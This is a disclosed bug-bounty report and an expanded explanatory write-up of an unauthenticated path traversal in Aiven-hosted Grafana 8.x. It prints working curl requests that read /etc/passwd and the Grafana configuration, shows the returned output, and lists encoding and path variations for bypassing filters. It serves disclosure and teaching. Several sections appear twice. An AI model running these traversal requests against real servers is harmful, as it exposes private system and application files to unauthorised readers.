Zero day path traversal vulnerability in Grafana 8.x allows unauthenticated arbitrary local file read
- Triaged in 4 days
- Fixed in 12 days
- Paid in 8 days
- Disclosed after 12 days
Summary:
Hi team,
I've found a path traversal issue in the Grafana instances hosted on the Aiven platforms. With the path traversal it's possible for an unauthenticated user to read arbitrary files on the server.
Steps To Reproduce:
- Login at https://console.aiven.io
- Create a new Grafana instance and wait till it's up and running 1.Run the following curl command to get the content of the /etc/passwd file on the server:
curl https://grafana-303ca6f8-████.aivencloud.com/public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
Output:
$ curl https://grafana-303ca6f8-███████.aivencloud.com/public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:65534:65534:Kernel Overflow User:/:/sbin/nologin
███
█████
██████
██████████
██████████
████████
██████
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
systemd-coredump:x:992:991:systemd Core Dumper:/:/sbin/nologin
systemd-resolve:x:193:193:systemd Resolver:/:/sbin/nologin
systemd-timesync:x:991:990:systemd Time Synchronization:/:/sbin/nologin
██████████
dbus:x:81:81:System message bus:/:/sbin/nologin
█████
████████
██████
█████████
██████████
███
██████████
███
█████
█████████
██████████
███
███
████
███
Some other examples:
See the Grafana config:
curl --path-as-is https://grafana-303ca6f8-█████████.aivencloud.com/public/plugins/mysql/../../../../../../../../../../../../usr/share/grafana/conf/defaults.ini
I'll keep my Grafana instance running so you can try to reproduce it with the examples above.
Impact
An unauthenticated user can get access to all system files if he knows the exact path of the file.
Context
Aiven runs a managed and hosted Grafana service: a customer creates a Grafana instance from the Aiven console and gets a working Grafana deployment on an aivencloud.com hostname. Grafana ships with bundled plugins, and those plugins are served from a static path under /public/plugins/. The report concerns that static file serving path on Aiven-hosted Grafana instances.
The researcher, j0v, found that the plugin path could be traversed out of the web root, letting an unauthenticated user read arbitrary files from the server filesystem. The report was filed against Aiven Ltd on HackerOne, rated high severity with a CVSS score of 7.5, and a bounty of 1000.00 USD was paid. It was disclosed on 2021-12-14.
Setup
No special tooling is needed beyond curl and a browser. The preconditions are:
- An Aiven account able to log in at
https://console.aiven.io. - The ability to create a Grafana instance from that console, and to wait until it is running.
- The hostname of the resulting instance, which is of the form
grafana-<id>.aivencloud.com.
The attack itself requires no authentication against the Grafana instance: the requests below are sent directly to the instance hostname without any session or credentials.
Finding it
Grafana serves bundled plugin assets from /public/plugins/<plugin>/.... The researcher showed that encoded .. sequences in the plugin path could climb out of the web root and reach the rest of the filesystem. Because the endpoint is part of the public static asset surface, no login is required to reach it.
Exploitation
Step 1: Create a Grafana instance
Log in at https://console.aiven.io, create a new Grafana instance, and wait until it is up and running. This gives a target hostname such as grafana-303ca6f8-████.aivencloud.com.
Step 2: Read /etc/passwd
Run the following command against the instance:
curl https://grafana-303ca6f8-████.aivencloud.com/public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
The path starts at the mysql plugin directory under /public/plugins/, then uses eleven URL-encoded ..%2F segments to walk up the directory tree, and finally requests etc%2Fpasswd. Encoding the slashes as %2F keeps the traversal inside a single path segment as far as any normalisation that happens before decoding is concerned.
The response returned the contents of the file:
$ curl https://grafana-303ca6f8-███████.aivencloud.com/public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:65534:65534:Kernel Overflow User:/:/sbin/nologin
███
█████
██████
██████████
██████████
████████
██████
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
systemd-coredump:x:992:991:systemd Core Dumper:/:/sbin/nologin
systemd-resolve:x:193:193:systemd Resolver:/:/sbin/nologin
systemd-timesync:x:991:990:systemd Time Synchronization:/:/sbin/nologin
██████████
dbus:x:81:81:System message bus:/:/sbin/nologin
█████
████████
██████
█████████
██████████
███
██████████
███
█████
█████████
██████████
███
███
████
███
The output is a standard passwd file, confirming that the traversal reached outside the web root and that the file was returned to an unauthenticated client.
Step 3: Read the Grafana configuration
The researcher gave a second example, this time using plain .. segments with curl --path-as-is so that curl does not collapse the traversal itself before sending the request:
curl --path-as-is https://grafana-303ca6f8-█████████.aivencloud.com/public/plugins/mysql/../../../../../../../../../../../../usr/share/grafana/conf/defaults.ini
This walks up from the mysql plugin directory and then descends into /usr/share/grafana/conf/defaults.ini, the Grafana configuration file. The --path-as-is flag matters here: without it, curl would normalise the .. segments client-side and the request would not carry the traversal.
The researcher noted that the Grafana instance would be kept running so the Aiven team could reproduce the issue with the examples above.
Root cause
The report does not describe the root cause; it only shows that .. segments, encoded or literal, escaped the web root. The report does not include the server-side code, so the exact implementation of the check is not shown.
Impact
An unauthenticated user can read arbitrary files on the server, provided they know the exact path of the file. That covers system files such as /etc/passwd and application files such as the Grafana configuration at /usr/share/grafana/conf/defaults.ini. The condition stated in the report is knowledge of the exact path; there is no directory listing or file discovery implied.
Fix
The report does not describe the fix that Aiven applied.
- Encoded traversal: replace
..%2Fwith%2e%2e%2for mixed encodings such as..%2fand%2e%2e/. A positive result is the same file content returned as with the plain encoded form. - Literal traversal with a client that does not normalise: send
../../segments usingcurl --path-as-isagainst other static paths. A positive result is a file outside the web root, for example a configuration file, being returned. - Different plugin directories: try the same traversal from other bundled plugin paths besides
mysql. A positive result is the same escape from any of them, which shows the flaw is in the shared static handler rather than one plugin. - Other static asset prefixes: apply the traversal to other public asset paths on the same host. A positive result is any file outside the web root being served without authentication.
- Absolute path attempts: try requesting an absolute path after the plugin segment. A positive result is a file being returned without any
..segments at all.
This kind of bug tends to hide in static file handlers that map a URL path onto the filesystem, especially where a plugin or theme directory is exposed under a public prefix. During recon, look for public asset paths that include a directory component you can influence, such as /public/plugins/<name>/, and check whether the server normalises the path before or after decoding. The signal is a request that returns content from outside the expected directory, which is easy to confirm with a well-known file such as /etc/passwd.
To show enough impact, the researcher demonstrated the read against a file every Linux system has (/etc/passwd) and against an application-specific file (/usr/share/grafana/conf/defaults.ini), both without authentication, and offered to keep the instance running so the team could reproduce it. That combination, a reproducible unauthenticated request and a concrete file whose contents came back, is what makes the report actionable.
What happened, in plain words
Aiven is a company that runs software for other people. One of the things it runs is Grafana, a tool for making dashboards and charts out of data. When you sign up with Aiven, you can ask it to create a Grafana instance for you, and Aiven gives you back a working Grafana you can open in your browser at a web address ending in aivencloud.com.
Grafana comes with small add-on pieces called plugins. Some of them, such as a plugin called mysql, are stored on the server as ordinary files and handed out to browsers from a public folder. "Public" here means exactly what it sounds like: anyone who knows the address can fetch those files, no login needed, the same way anyone can open a picture on a public website.
The researcher, j0v, showed that the address used to fetch a plugin file could be bent. Instead of asking for a file inside the plugin folder, you could ask for a file somewhere else on the server entirely, by putting special "go up one folder" markers into the address. The server followed those markers and handed back the file that was asked for. That is called a path traversal: the request walks out of the folder it is supposed to be locked into.
The result was that a stranger, with no account on that Grafana at all, could read files on the server, as long as they knew the exact path of the file they wanted. The report was filed with Aiven on the bug bounty platform HackerOne, rated high severity with a CVSS score of 7.5, and a bounty of 1000.00 USD was paid. It was disclosed on 2021-12-14.
A few words you will meet throughout, explained once here:
- A server is a computer somewhere that answers requests from your browser. When you open a web page, your browser asks a server for it and the server sends it back.
- A URL is the address you type or click, like
https://example.com/some/folder/file.txt. The part after the domain name,/some/folder/file.txt, is called the path, and it usually maps onto folders and files on the server. - A web root is the folder on the server that the website is allowed to serve from. Anything outside it should be invisible to visitors, like the back office of a shop.
- Authentication means proving who you are, usually by logging in. An unauthenticated request is one made without logging in, by anyone at all.
- curl is a small command-line program for fetching URLs. It does what a browser does when it loads a page, but prints the answer as text in a terminal window instead of drawing it.
Context
Aiven runs Grafana for its customers as a managed service. You do not install Grafana yourself; you click a button in the Aiven console, Aiven sets it up, and you get a Grafana deployment on a hostname of the form grafana-<id>.aivencloud.com. The <id> part is a random-looking string that makes each customer's address unique.
Grafana ships with bundled plugins, and those plugins are served from a static path under /public/plugins/. "Static" means the server does not compute anything for these files; it just finds them on disk and sends them. The report concerns that static file serving path on Aiven-hosted Grafana instances.
j0v found that the plugin path could be traversed out of the web root, letting an unauthenticated user read arbitrary files from the server filesystem. The report was filed against Aiven Ltd on HackerOne, rated high severity with a CVSS score of 7.5, and a bounty of 1000.00 USD was paid. It was disclosed on 2021-12-14.
Setup
No special tooling is needed beyond curl and a browser. The preconditions are:
- An Aiven account able to log in at
https://console.aiven.io. - The ability to create a Grafana instance from that console, and to wait until it is running.
- The hostname of the resulting instance, which is of the form
grafana-<id>.aivencloud.com.
The attack itself requires no authentication against the Grafana instance: the requests below are sent directly to the instance hostname without any session or credentials. In other words, the Aiven account is only needed to create a target to test against. The actual reading of files is done by a stranger who never logs in to Grafana.
Finding it
Grafana serves bundled plugin assets from /public/plugins/<plugin>/..., where <plugin> is the name of a plugin such as mysql. Think of it as a shelf labelled "plugins" with a box for each plugin on it, and the server is supposed to hand out only what is inside the box you name.
j0v found that the part of the path after the plugin name was not confined to the plugin directory. The two dots .. are a standard shorthand in file paths meaning "the folder above this one". If a server lets .. through, a request can climb up out of its folder, then up again, and again, until it reaches the top of the disk, and from there walk down into any other folder. Because the endpoint is part of the public static asset surface, no login is required to reach it.
Exploitation
Step 1: Create a Grafana instance
Log in at https://console.aiven.io, create a new Grafana instance, and wait until it is up and running. This gives a target hostname such as grafana-303ca6f8-████.aivencloud.com.
Why this step: you need a real, running Grafana to send requests to. The console is Aiven's control panel, the place where customers manage their services. Creating an instance there is the same as ordering the service; waiting until it is running means the server is ready to answer.
Step 2: Read /etc/passwd
Run the following command against the instance:
curl https://grafana-303ca6f8-████.aivencloud.com/public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
Line by line, in plain words:
curlis the program that fetches the URL and prints the answer.https://grafana-303ca6f8-████.aivencloud.comis the address of the Grafana instance created in step 1./public/plugins/mysql/is the public folder where themysqlplugin's files live. This is the legitimate starting point, the shelf the server expects you to stay on...%2Frepeated eleven times is the escape trick...means "go up one folder".%2Fis how a slash/is written when it is encoded, that is, disguised as a code so it does not look like a folder separator to anything reading the address early. Eleven of them climb eleven folders up, which is more than enough to reach the top of the disk.etc%2Fpasswdis the file being asked for: the folderetcand the filepasswdinside it, with the slash again encoded.
The path starts at the mysql plugin directory under /public/plugins/, then uses eleven URL-encoded ..%2F segments to walk up the directory tree, and finally requests etc%2Fpasswd. Encoding the slashes as %2F keeps the traversal inside a single path segment as far as any normalisation that happens before decoding is concerned. A useful comparison: it is like writing "go to the room upstairs" on a visitor's pass in a language the front desk cannot read, so the front desk waves it through, and only the person at the door understands it and actually goes upstairs.
/etc/passwd is a file that exists on practically every Linux system. It lists the user accounts on the machine. It is a favourite target for demonstrating this kind of bug because its contents are recognisable at a glance and it is not secret in the way a password file sounds: it holds account names and settings, not passwords. If its contents come back, you know for certain you have read a file from the server's own disk.
The response returned the contents of the file:
$ curl https://grafana-303ca6f8-███████.aivencloud.com/public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:65534:65534:Kernel Overflow User:/:/sbin/nologin
███
█████
██████
██████████
██████████
████████
██████
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
systemd-coredump:x:992:991:systemd Core Dumper:/:/sbin/nologin
systemd-resolve:x:193:193:systemd Resolver:/:/sbin/nologin
systemd-timesync:x:991:990:systemd Time Synchronization:/:/sbin/nologin
██████████
dbus:x:81:81:System message bus:/:/sbin/nologin
█████
████████
██████
█████████
██████████
███
██████████
███
█████
█████████
██████████
███
███
████
███
What you are looking at: the first line repeats the command, as a terminal shows it. Every following line is one user account on the server, with fields separated by colons. The first field is the account name, such as root, bin or daemon. The last field is the program that runs when that account logs in, often /sbin/nologin, which means "this account is not allowed to log in interactively". Some lines are blanked out in the report to hide details. The output is a standard passwd file, confirming that the traversal reached outside the web root and that the file was returned to an unauthenticated client.
Step 3: Read the Grafana configuration
j0v gave a second example, this time using plain .. segments with curl --path-as-is so that curl does not collapse the traversal itself before sending the request:
curl --path-as-is https://grafana-303ca6f8-█████████.aivencloud.com/public/plugins/mysql/../../../../../../../../../../../../usr/share/grafana/conf/defaults.ini
Line by line:
curl --path-as-isruns curl with a flag that tells it to send the path exactly as written. Normally curl tidies up a path before sending it, the way a browser does: if you writea/../b, it quietly turns it intob. That tidying would remove the..segments before they ever left your computer, and the server would never see the trick.--path-as-isswitches the tidying off.- The address is again the Grafana instance, followed by
/public/plugins/mysql/, the legitimate plugin folder. ../../../../../../../../../../../../is twelve plain "go up one folder" steps, written out in full rather than encoded.usr/share/grafana/conf/defaults.iniis the file being asked for: the Grafana configuration file. A configuration file holds the settings a program runs with, such as where it stores data and how it connects to other services. It is a good second example because it is specific to Grafana, not a generic system file, so it shows the bug reaches application files too.
This walks up from the mysql plugin directory and then descends into /usr/share/grafana/conf/defaults.ini, the Grafana configuration file. The --path-as-is flag matters here: without it, curl would normalise the .. segments client-side and the request would not carry the traversal.
j0v noted that the Grafana instance would be kept running so the Aiven team could reproduce the issue with the examples above. That is a courtesy in bug reporting: the team can run the same commands and see the same result instead of taking it on trust.
Root cause
The report does not describe the root cause; it only shows that .. segments, encoded or literal, escaped the web root.
The report does not include the server-side code, so the exact implementation of the check is not shown. Decoding means turning %2F back into /. If the check happens before that conversion, the check sees a harmless-looking string with no slashes in it, and the real slashes only appear afterwards, too late for the check to object.
Impact
An unauthenticated user can read arbitrary files on the server, provided they know the exact path of the file. That covers system files such as /etc/passwd and application files such as the Grafana configuration at /usr/share/grafana/conf/defaults.ini. The condition stated in the report is knowledge of the exact path; there is no directory listing or file discovery implied. In other words, the bug is a key that opens any door, but you still have to know which door to walk to; it does not hand you a map of the building.
Fix
The report does not describe the fix that Aiven applied. Picture a receptionist who writes down the visitor's full route, checks that the final room is on the approved list, and only then lets them through.
These are the kinds of variations a tester would try around the same idea. Each one is a way of asking the same question in different words, in case one form slips past a filter that another does not.
- Encoded traversal: replace
..%2Fwith%2e%2e%2for mixed encodings such as..%2fand%2e%2e/. A positive result is the same file content returned as with the plain encoded form.%2eis simply the encoded form of a dot, so this is the same trick spelled differently. - Literal traversal with a client that does not normalise: send
../../segments usingcurl --path-as-isagainst other static paths. A positive result is a file outside the web root, for example a configuration file, being returned. - Different plugin directories: try the same traversal from other bundled plugin paths besides
mysql. A positive result is the same escape from any of them, which shows the flaw is in the shared static handler rather than one plugin. If every box on the shelf has the same loose lock, the problem is the shelf, not the box. - Other static asset prefixes: apply the traversal to other public asset paths on the same host. A positive result is any file outside the web root being served without authentication.
- Absolute path attempts: try requesting an absolute path after the plugin segment. A positive result is a file being returned without any
..segments at all. An absolute path is a full path starting from the top of the disk, so if the server accepts one directly, no climbing is needed.
This kind of bug tends to hide in static file handlers that map a URL path onto the filesystem, especially where a plugin or theme directory is exposed under a public prefix. During recon, look for public asset paths that include a directory component you can influence, such as /public/plugins/<name>/, and check whether the server normalises the path before or after decoding. Recon here just means looking around a target before testing: noting which addresses exist and what they seem to do. The signal is a request that returns content from outside the expected directory, which is easy to confirm with a well-known file such as /etc/passwd.
To show enough impact, j0v demonstrated the read against a file every Linux system has (/etc/passwd) and against an application-specific file (/usr/share/grafana/conf/defaults.ini), both without authentication, and offered to keep the instance running so the team could reproduce it. That combination, a reproducible unauthenticated request and a concrete file whose contents came back, is what makes the report actionable. A report that says "I think this might be possible" is easy to set aside; a report that says "run this and you will see this file" is not.
Glossary
- Aiven: a company that runs managed software services, including Grafana, for its customers.
- Grafana: a tool for building dashboards and charts from data.
- Instance: one running copy of a service, here one Grafana deployment created for a customer.
- Console: the web control panel where a customer creates and manages their services, here
https://console.aiven.io. - Hostname: the part of a web address that identifies the server, such as
grafana-303ca6f8-████.aivencloud.com. - Plugin: an add-on piece of software that extends a program, here bundled with Grafana and stored as files on the server.
- Static file: a file the server sends as-is without computing anything, such as an image or a plugin asset.
- Web root: the folder on a server that a website is allowed to serve files from; anything outside it should not be reachable.
- Path: the part of a URL after the hostname that points to a folder or file, such as
/public/plugins/mysql/. - Path traversal: a bug where a crafted path uses
..to climb out of the intended folder and reach other files on the server. ..: a shorthand in file paths meaning "the folder one level above this one".- URL encoding: writing special characters as
%codes so they survive transport, for example%2Ffor/and%2efor.. - Decoding: turning those
%codes back into the characters they stand for. - Normalisation: tidying a path before use, for example turning
a/../bintob. - curl: a command-line program for fetching URLs and printing the response.
--path-as-is: a curl flag that sends the path exactly as written, without tidying..segments first.- Authentication: proving who you are, usually by logging in.
- Unauthenticated: done without logging in, by anyone.
/etc/passwd: a standard Linux file listing user accounts on the machine.- Configuration file: a file holding a program's settings, here
/usr/share/grafana/conf/defaults.ini. - Handler: the part of a server program that deals with a particular kind of request, here the one serving plugin files.
- HackerOne: a bug bounty platform where researchers report vulnerabilities to companies.
- Bug bounty: a programme that pays researchers for reporting security bugs.
- CVSS: a standard scoring system for the severity of a vulnerability; 7.5 is in the high range.
- Severity: how serious a bug is judged to be.
- Bounty: the money paid to a researcher for a valid report.
- Disclosure: making a bug report public, here on 2021-12-14.
- Recon: looking around a target to learn what exists before testing it.
- Impact: the harm an attacker could cause by exploiting a bug.